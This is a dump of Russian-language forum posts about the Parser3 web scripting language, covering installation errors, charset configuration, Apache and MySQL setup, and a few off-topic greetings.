5. А при чем сдесь MS я не понимаю. Ну зарабатывает человек деньги, вы ведь тем же самым занимаетесь. Че плохого то?"
"9935","ибо Microsoft сделала революцию, убрав с дороги NN."
"9936","Я ни как не могу понять людей, которые ненавидят Microsoft за то, что они зарабатывают деньги, при этом делая весьма качественный и добротный софт."
"9937","Установил parser, как указано на сайте, но даже тестовый пример не работает. Вываливает HTTP - 500 Internal Server Error.\
\
Операционка WinXP ServicePack 1.0 IIS 5.1.\
\
Помогите советом!\
"
"9938","2Bender - попробуй запустить parser3.exe из командной строки вручную и посмотри, что он скажет. Скорее всего, не все файлы скопированы.\
\
2Миша - налицо необходимость online troubleshooting wizard для решения вопросов с установкой - \"слелали вы то-то и то-то\", \"сделали ли вы затем это и это\" и т.п., не правда ли?"
"9939","Скопировал parser3isapi.dll в c:\\windiws\\system32\\inetsrv\\\
Сконфигурировал IIS, кказав обработчик для \".html\" в свойствах web-сайта (естественно c:\\windiws\\system32\\inetsrv\\parser3isapi.dll)\
\
Результат: HTTP - 500 Internal server error"
"9941","классное пояснение, и даже больше.\
\
\
"
"9942","Небходимо удалить из текста все вхождения [code]^[/code] и [code]$[/code], которые не содержаться в квадратных скобках, т.е. кроме таких как [code][^][/code] или [code]$[/code].\
Написал так:\
\
[code]^sometext.match[(^^\\[)(\\^^|\\^$)(^^\\])][gi]{$match.1 $match.2}[/code]\
\
Но если в обратываемом тексте есть, например:\
\
[code][$connect_дальше_сами_знаете_что][/code]\
\
то этот участок данное regexp не обработает. \
В чем дело?"
"9943","зачем вообще нужны динамические методы объектов ^object.method[] ? разве нельзя обойтись статическими методами классов ^class:method[] ?"
"9944","скажу по секрету, я только ими и пользуюсь, статические применяю только в исключительных ситуациях (пока для себя нашел только одну такую)."
"9945","Люди. Подскажите.\
\
Например у меня есть MySQL таблица у меня на платформе WIN32 и мне нужно её закачать на сервак, но мало того, что я не знаю как закачивать их туда, так я ещё и сомневаюсь в совместимости таблиц разных платформ.\
\
Что делать?"
"9946","или http://www.egoroff.spb.ru/opinions/12.html"
"9947","не сомневайтесь"
"9948","можно даже сделать дамп всей базы, что проще, - с совместимостью проблем нет, проверено, я сам частенько этим пользуюсь."
"9949","да? а я только статические. в чём преимущество динамических?"
"9950","когда-то мне Лужниковски советовал вообще держать у себя базы только с тестовым контентом, и работать с ним.\
в результате тебе на сервер прийдется только сам код залить.\
а струмент бери - это из разряда must have!"
"9952","я должен вас благодарить - \"должен дарить вам коробку шоколадных конфет раз в квартал\"(C) Самизнаетекто"
"9953","мне лень подробно расписывать это. Скажу лишь, что не стоит сразу всё бросать и пользоваться динамическими, делай пока как есть, потом поймешь что к чему, сразу нельзя всем овладеть. Да и читай классиков ООП, типа Г. Буча и др."
"9954","достаю из базы данных записи, вывожу в цикле ^records.menu{.....\
}\
\
если в теле цикла встречается что-то типа <td style=\"...;...;...\">,\
то вылази unhandled error. пробовал этот кусок заключать в ^taint, никакого результата. как от такого избавиться?\
\
"
"9957","изменять значение глобальной переменной в ходе исполнения кода.\
Например в корневом авто.п указал [code]$old[][/code]В какой то момент исполнения кода присваиваю переменной значение, но в нужном месте это значение не выдается.\
\
Почему?"
"9960","Элементарно. Все переменные, определенные в auto.p являются членами системного класса $MAIN. Соответственно и работаещь с ними как со статическими полями классов ... все это в доке описано."
"9962","Можно сделать так, что если Сообщение без текста, то не делать на него ссылку?, а то иногда не углядиш в конце минус и кликаеш."
"9963","Благодарю за помощь! Тестовая страница работает!"
"9964","Есть очень удобная фишка: если в тексте сообщения есть url, то он преобразуется в ссылку. При твоем решении прийдется непрерывно copy/paste ..."
"9970","[code]\
...\
$MAIN:old[новое_значение]\
...\
[/code]\
\
З.Ы.: Все переменные имеют область видимости (эта та, где они определены)."
"9973","в книжки сказано, что таблицу типа MyIASAM являются платформонезависимыми....\
"
"9975","Правила регистрации доменов третьего уровня в домене второго уровня определяет администратор домена второго уровня, из-за чего условия регистрации могут сильно отличаться для различных доменов.\
\
В домене RU все домены второго уровня классифицируются в зависимости от того, насколько они открыты для регистрации в них доменов третьего уровня:\
\
Домены общего пользования, к которым относятся все домены типа GEOGRAPHICAL (в соответствии со списком субъектов Российской Федерации), например msk.ru и samara.ru, а также домены типа GENERIC: AC.RU, COM.RU, EDU.RU, NET.RU, ORG.RU, INT.RU, MIL.RU, PP.RU. Домены общего пользования открыты для регистрации всем на общих основаниях, в соответствии с правилами регистрации, опубликованными администраторами доменов и на сервере администратора домена RU. Для того, чтобы зарегистрировать домен внутри одного из этих доменов, необходимо обратиться к его администратору (информацию о нем можно получить из базы РосНИИРОС по субъектам РФ, либо службы Whois).\
\
"
"9976","Temp, читайте документацию внимательнее. \
MyISAM «бинарно-совместимые», их можно просто списать в нужный каталог. \
однако это нужно только при определённых условиях.\
\
проще и универсальнее сделать dump [текстовый файл] и import его."
"9977","Если человек делает тестовое задание -- значит ему нужна работа, и если тебе вообще не хочется напрягаться -- зачем тогда делать тестовое задание ? ведь ALG это не то место где дадут отдыхать...\
И вообще это задание очень интересное: тут надо и мозгами пораскинуть и выдержку показать (2 дня -- это срок для профи -- и уложиться в это время мне лично не удалось(тут я понял, что как хорошо, что я не кодер и не программист)) и в конечном результате на этом задание можно выяснить свой уровень как \"кодера\"."
"9978","ндааа...\
\
В общем : написано - супер!\
А я все это через сами_знаете_что делал! А надо всего-то пару взмахов. Э-эх!\
\
P.S. Прекланяюсь пред Мишей. Хороший ликбез."
"9980","ошибка после установки?!\
установил по доке как CGI.\
вот ошибка:\
user-request(1): '/xxx/www/stat/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/xxx/www/stat/index.html'  type: parser.runtime\
в чем дело и как с этим бороться? "
"9983","патиму?? (;-)"
"9984","Вопросик однако, на сайте в разделе download нет собранного драйвера для Oracle под линукс. Кто-нибудь его собирал под линукс? Работает ли он с девяткой? Или лучше все таки ориентироваться на win2k платформу?"
"9985",":))) В смысле, это провокация %)))"
"9987","а я вообще доверяю тому, что первое настроится :)"
"9988","если тебе нужно установить mod_rewrite, просто удали символ номера (#) со строчек, содержащих слово mod_rewrite в /conf/httpd.conf. \
Замени [code]#LoadModule rewrite_module modules/mod_rewrite.so[/code] на\
[code]LoadModule rewrite_module modules/mod_rewrite.so[/code]\
и [code]#AddModule mod_rewrite.c[/code] на\
[code]AddModule mod_rewrite.c[/code]"
"9989","у меня апач из \"джентльменского набора\" -- с dklab, а там он не весь, я так понял, и рерайта нет. На диске у меня вторая версия Апача -- с нее я и скинул .so-файл, но он как выбивал, так и до сих пор, а при запуске stopservers говорит -- не смог загрузить модуль, хотя модуль на месте. Потому и прошу."
"9990","перекачай нормальный апач и не мучайся\
http://httpd.apache.org/"
"9991","Может есть смысл удалить тысячу-полторы старых тредов или сервачек завести побыстрее... а то очень утомляет ждать. Раньше все работало шустрее..."
"9992","...Это опечатка, может быть два экземпляра одного и того же класса..."
"9995","да, товарищи девелоперы: тут как бы уже подошла нужда в драйверах для Оракла под Линух(хоть сырцы, админ сам соберет)"
"9997","Если ты конечно в виднах не поставишь в качестве OEM-кодировки KOI8-R ... :)\
Я для конвертации использую ФАР ..."
"9999","И совершенно не важно каким ключевым словом ты объект создаешь. В Паскале сейчас есть и class и object. IMHO слово object более правильное, но это сути не меняет."
"10000","Ну положим сырцы есть, во всяком случае в CVS ветка этого драйвера есть. Просто стоит задача выбора платформы для будущего интранет веб-сервера вот и хотелось бы узнать как обстоит дело с драйвером под линукс ..."
"10001","./configure\
make"
"10002","...потому что:\
[quote]\"...Объект обладает состоянием, поведением и индивидуальностью; структура и поведение схожих объектов определяют общий для них класс; термины \"экземпляр класса\" и \"объект\" -- взаимозаменяемы...\"\
Буч Г. \"ООП с примерами применения\"\
[/quote]\
\
"
"10003","я был на кажется www.nic.ru - и там утопился в бюрократических заморочках и не понял и не нашел как регистрировать домены в бесплатной зоне msk.ru - и че дальше делать не знаю.\
\
Спасибо за относительно понятную историю, но вы так и не ответили на мой вопрос. Куда писать?"
"10005","[code]\
Информация о домене MSK.RU (по данным WHOIS.RIPN.NET):\
\
% By submitting a query to RIPN's Whois Service\
% you agree to abide by the following terms of use:\
% http://www.ripn.net/nic/whois/about_whois.html (in Russian)\
% http://www.ripn.net/nic/whois/en/about_whois.html (in English).\
\
domain:  MSK.RU\
type:    GEOGRAPHICAL\
descr:   Relcom/EUnet\
descr:   Computer research and IP service provider\
descr:   1, Kurchatov sq, Moscow 123182, Russia\
descr:   tel: +7 095 1941995\
descr:   fax: +7 095 1964984\
descr:   Moscow Russia\
admin-o: RELCOM-ORG-RIPN\
nserver: ns.spb.su.\
nserver: ns.ussr.eu.net.\
nserver: ns1.relcom.ru.\
created: 1998.07.21\
state:   Delegated till 2003.08.01\
changed: 1998.07.21\
mnt-by:  RELCOM-MNT-RIPN\
source:  RIPN\
\
\
org:     \"RELCOM.BUSINESS NETWORK\" Ltd\
nic-hdl: RELCOM-ORG-RIPN\
admin-c: LVV-RIPN\
bill-c:  LVV-RIPN\
phone:   +7 095 1960823\
fax-no:  +7 095 1963295\
e-mail:  adisp@relcom.ru\
e-mail:  node-fin@relcom.ru\
changed: 2002.11.14\
mnt-by:  RELCOM-MNT-RIPN\
state:   RIPN NCC check completed OK\
source:  RIPN\
\
\
person:  LUBOV V VIDANOVA\
nic-hdl: LVV-RIPN\
address: 123098 Moscow, Marshala Vasilevskogo str., 1/2\
phone:   +7 095 1960820\
phone:   +7 095 1960823\
e-mail:  luba@relcom.ru\
e-mail:  node-fin@relcom.ru\
e-mail:  adisp@relcom.ru\
changed: 2000.11.08\
mnt-by:  RELCOM-MNT-RIPN\
source:  RIPN\
[/code]"
"10007","ошибка после комманы:\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login \
\
Ошибка:\
cvs login: failed to open /xxx/bizcent/.cvspass for reading: No such file or directory\
cvs [login aborted]: fatal error: exiting\
\
зачем ему этот файл? куда указать ? и как указать ? если это необходимо! "
"10008","cvs 1.11.1 failed to create .cvspass if it doesn't exist\
\
такое ощущение, что вы не умеете сделать copy/paste в google :(\
workaround: http://www.winehq.org/fom-meta/cache/618.html.\
"
"10013","я раньше тож думал связь, ан-нет. Форум перегружен. Надо его оптимайзить..:)"
"10014","что быстрее настраивается? правильно!\
\
а чем быстрее, удобнее и эфективнее? тоже правильно!\
\
вопросы?!"
"10015","Trixie насколько я помню шрифт комммерческий ... есть бесплатный аналог VTCorona ... http://vedi.d-s.ru/fonts/vfont.htm"
"10016","... и обратиться с этим вопросом, лучше по телефону наверное. Вот. А без заморочек уже не получилось, тому свидетельство сей тред."
"10017","как уничтожить текущюю сессию? я делаю так $cookie:mysess[$.expires(0)] но оно не работает..."
"10019","а почему так не работает $cookie:mysess[$.expires(0)] ?"
"10020","Я запустил Парсер. Но осталась еще одна проблема с кодировкой. При установке на сервер (мне сказали) файлов их нужно преоб-ть с помощью утилиты в кодировку koi8-r. На сервере русский Апаче. \
\
Я установил CharsetDisable On в .htaccess. Мне он сказал, что можно кодировку как-то задать и тогда конвертация файлов не потребуется. Я пробовал и AddDefaultCharset koi8-r, и AddDefaultCharset windows-1251. И все равно абракадабра выходит. \
\
Что делать? Помогите.\
"
"10022","[code]\
CharsetDisable On \
[/code]\
нужно расположить в правильном .htaccess, т.к. CGI обработчик вызывается на самом деле с точки зрения веб-сервера(internal redirect) так:\
[code]\
http://domain/cgi-bin/parser3.cgi/path/to/document.html\
[/code]\
.htaccess файл в корне диска обрабатывается один раз, до internal redirect, и… сюрприз… настройки русского apache, заданные в этом файле, тихо игнорируются[запрос уходит в internal redirect, забывая настройки].\
\
диагноз: поместите директиву отключения в такой .htaccess, который не будет игнорироваться при запросе /cgi-bin/скрипт/документ. или поместите его в httpd.conf."
"10023","Что у нас тут юбилей - число реплик десятитысячную отметку  перескочило :)"
"10024","Да скорее всего CharsetDisable On срабатывает. У меня скорее проблема проще! \
\
На сервере (мне г-н админ сказал) кодировка koi8-r. Как сделать тогда? В .htaccess написать:\
CharsetDisable On\
AddDefaultCharset koi8-r.\
А драйвера языка никакие Парсеру подключать не обязательно, да? А файлы ложить на сервер в кодировке Windows. Так? Или я что-то упустил? Или где-то ошибка?\
"
"10025","немного грустно, Алексей.\
вы пытаетесь понимать, что делаете, или просто кнопки давите?\
\
директивой [code]CharsetDisable on[/code] вы [b]ВЫКЛЮЧИЛИ[/b] функциональность Русского Апача. директивы ему задавать далее бесполезно, да и не нужно.\
\
что вы считаете абракадаброй. copy/paste?"
"10026","Я решил проблему только что. Догнался. Я конвертнул утилитой файлы из windows в koi8-r. И получилось."
"10028","спасибо!\
Буду воевать дальше..."
"10029","берём файл index.html в кодировке win, кладём на сервер.\
в auto.p пишем [или хотя бы не трогаем то, что написано по-умолчанию].\
\
[code]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
и получаем файл в win.\
\
если получаются кракозябры, значит включился Русский Апач, который надо выключить.\
\
если вы ударами в бубен что-то вдруг увидели, это не значит, что будет всё хорошо.\
\
необходимо понять, что происходит. моё понимание: вы его так и не выключили, вместо этого занимаетесь ерундой, нарушая инструкцию по установке."
"10031","собссно сабж. мастак.ру с парсером хронически несовместим :("
"10032","www.wp-club.net находиться в штатах,\
www.ruweb.net там же, сегодня заказал хостинг пробую ставить парсер как получиться скажу, если все нормально то получиться очень дешево за 1 бакинский рубль 20 метров на винте 500 метров трафика плюс две базы мускуля и т.д. так что не торопись"
"10033","Столкнулся с такой ошибкой. Хостинг www.ruweb.net RH7.3, apache. Может несовпадение групп, хотя посмотрел ls -l вроде все номально, если у кого нибудь есть скомпиленный парсер с отключенно проверкой поделитесь плиз"
"10035","Нету там второго auto.p есть распакованный в cgi-bin парсер и там есть auto.p еще есть страница с кодом ^eval(2*2) усе... "
"10036","это ошибка когда запускаю парсер из шела с передачей страницы в качестве параметра"
"10037","Если изветно имя файла и полный путь к нему на винте, как его загрузить и передать на сервер?\
\
[code]\
^file::load[binary;имя]\
[/code]\
Такая конструкция пытается загрузить файл с сервера, а мне надо с компьютера"
"10039","А довайте создадим какого-нибудь зверька (типа тамагочи) для пользователей, которые могли бы его онлайн ухаживать за ним..."
"10042","Сабж. :-)\
\
Смотри: \
http://www.mozilla.org/\
http://www.mozilla.org/releases/\
http://www.mozilla.org/releases/mozilla1.2/#new\
\
Качай: \
http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.2/\
http://ftp.mozilla.org/pub/mozilla/l10n/lang/moz1.2/"
"10044","Купил тамогогочи, и убивал их убивал, ненавижу!!!\
\
К Парсеру это не подходит:) Вам не кажется?"
"10047","Вот такой нехитрый код:\
[code]\
$x[^file::load[text;_last]]\
$last[^x.text.int[]]\
$last\
[/code]\
\
Выдал мне такой unhandled exception (когда в _last попала строка \"abc\"):\
\
[code]\
<html>\
<head><title>Unhandled Exception (Debug)</title></head>\
<body>\
<H1>Unhandled Exception (Debug)</H1>\
<pre>invalid number (int)</pre>\
<b>abc</b><br>\
<pre>user <input type=file>(1)</pre>\
exception.type=number.format\
<hr>\
<tt>int</tt> c:/tcpip/www/localhost/www/toster/index.html(16)<br>\
</body>\
[/code]\
\
Откуда тут взялся сабж? unhandled_exception_debug[exception;stack] \"стандартный\". Уж скоолько я пересмотрел этих эксепшенов, а такого ни разу в жизни не видел..\
\
apache 1.3.26, parser3_3_0_0005_win32_apache_xml.zip, винда98.."
"10048","[quote]\
$x[^file::load[text;_last]]\
$last[^x.text.int[]]\
$last\
[/quote]\
\
ты что - хочешь текст файла в интеджер перевести?! Или я гоню?\
\
Этож так не делается!"
"10049","[code]\
$x[^file::load[text;_last]]\
#перепутали скобки, надо (), а не []\
$last(^x.text.int[])\
$last<br>\
^if($last is 'int'){int}{!int}\
[/code]\
говорит, что $last -- int.\
\
Мне больше интересно про поле ввода, если в файле получилась строка. :)"
"10050","А под Red Hat Linux release 7.3 (Valhalla) ставить какой дистиб? Тот, что, как написано, под версию 7,2 ?"
"10051","да. должно работать.\
но никто никогда не исключает проблем. будут, пересоберите из исходников."
"10052","А проблемы какого рода могут возникнуть?"
"10053","Скорее всего проблем не будет."
"10055","Нада скачат файл с удалённого компьютера. Ну например если адрес файла был отправлен через форму. Как это сделать"
"10056","забавно: я прямо сейчас сижу и пишу документацию по этой возможности.\
\
значит вовремя добавил :)"
"10057","[b]Luzhnikovsky[/b], с днём рождения!"
"10058","Такая проблема: нужно вызвать перловый скрипт, который формирует html файл. Скрипт изменить нельзя. При это скрипту надо передать параметры таким образом: some_script.cgi?I=223123.\
Из обычных html-файлов я вызываю его \
<!--#include virtual=\"/cgi-bin/some_script.cgi?I=223123\"-->. Как вызвать его из Парсера?"
"10059","Если это правда, то присоединяюсь к поздравлению! :)"
"10063","Огромное спасибо всем!\
Не докучайте сильно ;-)"
"10065","напиши на psixxx@narod.ru"
"10066","CVS ета где?"
"10067","да да и документацию на ето дело откуда слить можно?"
"10068","По гороскопу Вы - Стрелец. \
Сей знак унынья не выносит \
И всем сюрпризы преподносит, \
Неутомимый наш боец! \
Философ и авантюрист, \
Порой технический работник, \
Подозреваю, даже плотник, \
Ну, а в душе, всегда артист! \
\
Желаю счастья в этот день, \
Тепла от всех кто будет рядом. \
Улыбок светлых на лице \
И солнечных лучей в награду. \
Желаю множества удач, \
Желаю молодости вечной, \
Пусть все исполнятся мечты \
И счастье будет бесконечным!"
"10071","http://ramesses.hotbox.ru/podarka/"
"10072","-"
"10073","[color=\"red\"]2 Luzhnikovsky риспект, однозначно![/color] Даже без всяких дней рожденья. А пожелания %))) Здоровья и удачи!!! И чтоб всё было супер! "
"10074","вчера меня не было на работе :) С днём рождения!"
"10075","А нельзя с сайта http://parser2.parser.ru/ сделать ссылку на http://parser.ru/ в менюшке?"
"10076","Без Веб-сервера. Очень надо. Если да, то как?\
В документации мало говорится об этом и как-то не понятно для меня. Может есть те люди, которые пробывали  сделать так, чтобы Парсер работал без сервера. Буду очень благодарен."
"10077","можно так:\
[code]\
parser3 файл.html > обработанный.html\
start обработанный.html\
[/code]\
\
однако под windows есть apache|setup [Enter][Enter].\
есть денвер [по форуму есть поиск].\
"
"10078","вот что выдает:\
./auto.p(18): '/etc/parser3.charsets/windows-1251.cfg' unknown charset  type: parser.runtime\
\
как нормально подключить вместо UTF win-1251"
"10082","Хватит праздновать - пора и поработать ;-)"
"10083","Насколько я понимаю, класс MAIN формируется из всех\
файлов auto.p начиная с конфигурационного файла, а\
потом с корня сайта по всем вложенным директориям до текущей\
и, еще до кучи, самого запрашивакемого файла.\
\
Просто супер! Сразу же хочется выделять отдельные\
подзадачи в свою директорию и для них делать свои\
специфичные auto.p. Дальше мне проще объяснить на примере.\
\
В корневом каталоге сайта в auto.p пишу следующее\
[code]\
@main[]\
    ^page_init[]\
    ^page_html[]\
\
@page_init[]\
# здесь мы заполням глобальных переменных,\
# которые будут использоваться в методе page_init[]\
[/code]\
\
В другом файле, например, html документе,\
или файле auto.p в подкаталоге, переопределяем метод\
page_init[]. То есть, определяем метод с таким же именем.\
Внимание вопрос :)\
Можно ли из переопределяющего метода вызвать переопределяемый?\
Для классов, как написано в документации, нужно использовать\
конструкцию ^класс:метод[параметры]. Здесь же ситуация несколько\
иная.\
Отчасти задачу решает метод auto[], который последовательно\
вызывается у всех классов. Но в нем, к сожалению, нельзя \
работать с базой данных.\
\
Спасибо всем кто дочитал и \
огромное мпасибо всем кто помог :)"
"10084","1.\
parser поддерживает возможность такой сборки не для того, чтобы ею злоупотребляли.\
\
2.\
представьте свой следующий проект: вы будете копировать ворох auto.p файлов, убирать из них совсем не относящиеся к новому проекту куски? а когда всплывёт ошибка, править её в двух местах?\
\
диагноз:\
используйте пользовательские классы, создайте необходимую иерархию.\
мелочи, отличающиеся один проект от другого вынесите в производные классы, чтобы оставить базовые максимально более общими.\
\
так вы сможете\
1. спокойно вызывать базовые методы\
2. удобно поддерживать много проектов на одном движке"
"10085","PAF!\
\
Спасибо за совет!\
Сейчас я работаю над своим первым проектом\
под Парсером. Поэтому мне довольно таки трудно\
определиться, что и где сделать.\
Хотя, я думаю, всем трудно. Универсальных и идеальных\
решений не бывает.\
"
"10086","софтом торгуем :)"
"10087","Вот фрагмент из auto.p(учебный пример), вроде бы все нормально, но таблица, которую я выделил знаком #, отображается только в \"Opera\".\
IE, Netscape, Mozilla не видят ее, почему-то.\
Или я чего-то не догоняю?\
\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
#####################################################################<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#000000\" height=\"60\">\
</tr>\
</table>\
#####################################################################\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\" height=\"20\">\
<tr bgcolor=\"#CC0000\">\
^sections.menu{\
^navigation_cell[]\
}\
</tr>\
</table>"
"10089","Семен Семеныч!!! \
Спасибо большое!"
"10091","Парсер установлен и работает. MySQL тоже работает (через MySQL-Front подключаюсь - всё чётко).\
Парсерные скрипты, работающие с этой БД, тоже на локальной машине (под винды) всё нормально фунциклируют. Я даже написал самый простой скрипт, чтобы ни на что другое не грешить - просто @main[] и коннект (сам sql запрос через копирование и вставку в MySQL-Front отбрает всё как надо - опечатка исключена).\
\
Я думаю, что парсер просто драйвера MySQL не находит.\
Структура каталогов такая:\
/ - корень (вхожу через ftp)\
/cgi-bin/lib/libparser3mysql.so\
/cgi-bin/auto.p\
/cgi-bin/parser3.cgi\
\
в auto.p ничего не менял, просто положил рядом с parser3.cgi\
при открытии странчки и просмотре переменной $sqldriversdir получаем \"./lib\" (без кавычек конечно)\
и что за файл libmysqlclient.so - где его взять, нужен ли он и куда его положить???\
И вообще как моему горю пособить? Хелп ми!!!!\
\
\
"
"10092","это библиотека общения с mysql сервером, идёт в поставке mysql, при должной настройке сервера должна найтись системой автоматически. \
\
очевидно, не ваш случай — соответственно, необходимо задать её полный путь.\
\
обычно /usr/local/lib/mysql/libmysqlclient.so\
не подойдёт — спросите вашего админа"
"10093","были взяты исходники и скомпилены под ALT-Linux\
русские модули в апаче отрублены\
(пути от корня диска)\
кодировки легли в: /etc/parser3.charsets\
lib`a MySQL: /usr/lib\
parser3.cgi: /var/www/cgi-bin\
главный конфиг: /var/www/cgi-bin\
сайт и auto.p для сайта: /var/wwwhost/local/coder\
\
после запуска _test.html видим:\
Глобальные переменные, заданые в конфигурационном auto.p\
$CHARSETS:\
windows-1251 /etc/parser3.charsets/windows-1251.cfg\
koi8-r /etc/parser3.charsets/koi8-r.cfg\
...\
DOCUMENT_ROOT: /var/wwwhost/local/enk\
$response:charset: UTF-8\
$request:charset: UTF-8\
^str.upper[] не пашет\
\
после прописывания в .htaccess путей к ROOT_CONFIG & SITE_CONFIG ситауция не изменилась\
\
все начало работать после того как файлы кодировок были скопированы вот сюда:\
/var/www/cgi-bin/charsets\
\
по другому никак?"
"10094","заменил в auto.p значение в таблице с \"libmysqlclient.so\" на \"/usr/local/lib/mysql/libmysqlclient.so\" не помогло :(\
Видимо другой путь. Буду писать админу.\
\
Может быть ещё в чём-то проблема или остальное я всё правильно сделал???\
\
"
"10095","И все еще не закончено :)\
Пожелания - в форум :)))"
"10096","Можно ли где-то скачать один этот файлик \"libmysqlclient.so\" и положить его рядом с парсером (или в /cgi-bin/lib) и прописать относительный путь???? А то админа что-то не найду пока.\
\
На серваке стоит MySQL Client API version: 3.23.36 (на mysql.ru самая старая версия .39 и качать всё целиком не хочется)"
"10097","Парсер с помощью строчки \"$response:Last-Modified[]\" печатает дату последний модификации. В действительности же дата последней модификации любой страницы выдаваемой движком является текущее время\
\
Вывод строки модификации является маскировкой под статику - что может облегчить работу сайта по многим параметрам, но появляется опасность выдачи 1-го отработанного результата 2-м пользователям :(\
\
Вопрос: нужен ли этот заголовок в динамики, или забить на него вовсе?"
"10098","информацию, передаваемую браузером веб-серверу через строку запроса -- [b]information sent by browser to web-server through the query string[/b]\
Задание кодировки документов на сервере -- [b]Specifying server’s encoding[/b]\
====\
кодировка -- [b]encoding[/b] или [b]charset[/b]?\
====\
документов, обрабатываемых на сервере -- [b]documents processed at server[/b]\
заголовок HTTP -- [b]HTTP header[/b]\
заголовок запроса HTTP -- [b]HTTP request header[/b]\
заголовок response HTTP -- [b]HTTP response header[/b]\
Задание нового заголовка ответа HTTP -- [b]Generating a new HTTP-response header[/b]\
новое значение заголовка ответа HTTP, выдаваемого Parser -- [b]a new value of HTTP-response header generated by Parser[/b]\
автоматически будет установлен нужный тип файла (content-type) по таблице MIME-TYPES -- [b]a necessary type of file (according to table MIME-TYPES) will be reported to the browser through Content-Type header[/b]\
Отмена переопределений -- [b]Cancelling re-definition[/b]\
"
"10099","Подскажите правильный синтаксис - нужно в строчке все пробелы менять на точки, а все минусы на подчёркивания (хорошо бы ешё все переводы строки на точку с запятой, но не обязательно). Не понимаю, как создать таблицу для замены. Подскажите, пожалуйста."
"10100","Я вот так поступаю: так понятнее :)\
\
[code]\
$string[TEXT]\
$string[^string.match[\\-][gi]{_}]\
$string[^string.match[\\n][gi]{;}]\
$string[^string.match[\\ ][gi]{.}]\
[/code]\
\
Код пробела не знаю... может итак просто пробел написать можно..."
"10101","Кто нибудь пробовал мыльную заглушку на Денвере с Парсером?\
У меня че-то не получилось ничего :)"
"10102","читать треды:\
http://www.parser.ru/forum/?id=7522\
\
"
"10105","$str[твой текст]\
$repl[^table::create{a	b\
^#20	.\
-	_\
^#0A	;\
}]\
^str.replace[$repl]\
\
по моему тоже очень понятно, и В РАЗЫ быстрее, особенно на больших текстах..."
"10106","Но наверняка можно, что-то нужно поставить $MAIL[...] ..."
"10107","Где-то я что-то не то пишу, наверное.\
Код:\
$data_string[....]\
....\
$reptable[^table::create{a  b\
^#20  .\
-     _\
}]\
$data_repstr[^data_string.replace[$reptable]]\
\
Результат:\
Unhandled Exception (Debug)\
Array::get(1) out of range [0..0]\
\
------------------------------------------------------------------\
replace .....\
\
Причём, если оставить в таблице только первую строчку (^#20  .), всё работает, а вот - на _ менять не хочет"
"10108","Я увидел такое сообщение, когда первую и сторую колонки разделил не ТАБ-ом а пробелом...\
\
В парсере принят формат ТАБ-делимитед..."
"10110","Хотя, на мой взгляд, различный смысл \"белых\" символов, неразличимых на экране - явный недостаток языка. Может, подправить как-то в следующих версиях? сделать ещё один вариант конструктора, например."
"10113","[code]\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
<Files ~ \"\\.p$\"> \
 Order allow,deny \
 Deny from all \
</Files>\
\
RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^.*$ /index.html [L]\
[/code]\
\
На локальной машине все работает, а на сервере:\
[code]\
Forbidden\
You don't have permission to access / on this server.\
[/code]\
\
А без mod_rewrite все работает, т.е. выводит только первую страницу. \
Явно проблема в rewrite."
"10114","Уважаемый Александр (PAF) - как главный создатель Пасера, да и все остальные кто желает, чтобы сей замечательный язык стал ещё лучше!\
Вопрос, который я хочу поднять, уже по-моему один раз поднимался на форуме, но всё же давайте ещё раз вернёмся к нему.\
На мой взгляд парсерному циклу for на данный момент не достаёт тех возможностей, которые есть практчески во всех языках программирования (от Бейска до Си):\
Недостаток №1: итератор работает только вперёд и шагом равным 1 (i++)\
Недостаток №2: нет \"exit for\" (но если устранить 1-й недостаток, то 2-й можно будет реализовываться достаточно просто - можно будет делать итератор большим, чем конечное значение счётчка и всё получится)\
\
Я понимаю, что сейчас всё это можно реализовать через while, но for получается какой-то \"убогий\" (сравните его с for-ом в Cи, там по сути вообще другие циклы не нужны, всё можно for-ом реализовать)\
Было бы хорошо, если бы в следующих версиях Парсера мы увидели \"ВСЕМОГУЩИЙ\" парсерный for.\
\
И ещё, я как-то написал метод @min_max[a;b;min_or_max] и делал примерно такой вызов ^min_max[44;12;min] (использовал синтаксис как описано в документации).\
Misha мне посоветовал сделать лучше так:\
^min_max(44;12)[min] - это действительно лучше (получается более удобочтаемый код),\
а оказывается можно писать даже и так ^min_max(44)(12)[min]\
А в документации даже намёка нет на такие замечательные возможности парсерного синтаксиса. Специально просматривал, думал может где-то пропустил - ничего не нашёл, даже намёка. Надо бы в доку эту полезную штуковину прописать!"
"10115","А то без них пролистать только что ушедшее вниз \"за край\" сообщение было неудобно."
"10116","Я точно не помню, но мне кажется, что это может быть из-за отсутствия в настройках Apache на сервере AllowOverride All:\
\
[code]\
<Directory \"/usr/local/apache/htdocs\">\
    ...\
    AllowOverride All\
    ...\
</Directory>\
[/code]\
\
Хотя могу и ошибаться."
"10121","у меня линукс 7.2 RedHat\
поставил вроде все как в доке, только у меня почему то браузер выдает\
\
Bad Request\
Your browser sent a request that this server could not understand.\
Invalid URI in request GET /~paul/ HTTP/1.1\
\
а в логах написано\
invalid URI in request GET /~paul/ HTTP/1.1\
\
третий день мозги грею не пойму. может кто что подскажет?"
"10123","ограничения на разрядность -- [b]restricted digit capacity[/b]\
округление до ближайшего целого -- [b]rounding to the closest integer[/b]\
округление до целого в меньшую сторону -- [b]rounding towards lesser integer[/b]\
округление до целого в большую сторону -- [b]rounding towards greater integer[/b]\
экспонента по основанию e -- [b]exponent to the base of e[/b]\
значения логарифмических функций от заданного числа -- [b]values of logarithmic functions with the given number[/b]\
логарифм по произвольному основанию base -- [b]logarithm to the random base[/b]\
состоит из начала и тела -- [b]consists of head and body (о строке salt)[/b]\
Для проверки введенного пароля к нему применяют то же преобразование, а результат сверяют с сохраненным -- [b]Every time a user types a password, the received string is encrypted according to the same algorithm and the result is compared with the string stored in a file/database[/b]\
корень n-ной степени -- [b]Nth root of a number[/b]\
округленное значение заданного числа -- [b]round value of the given number[/b]\
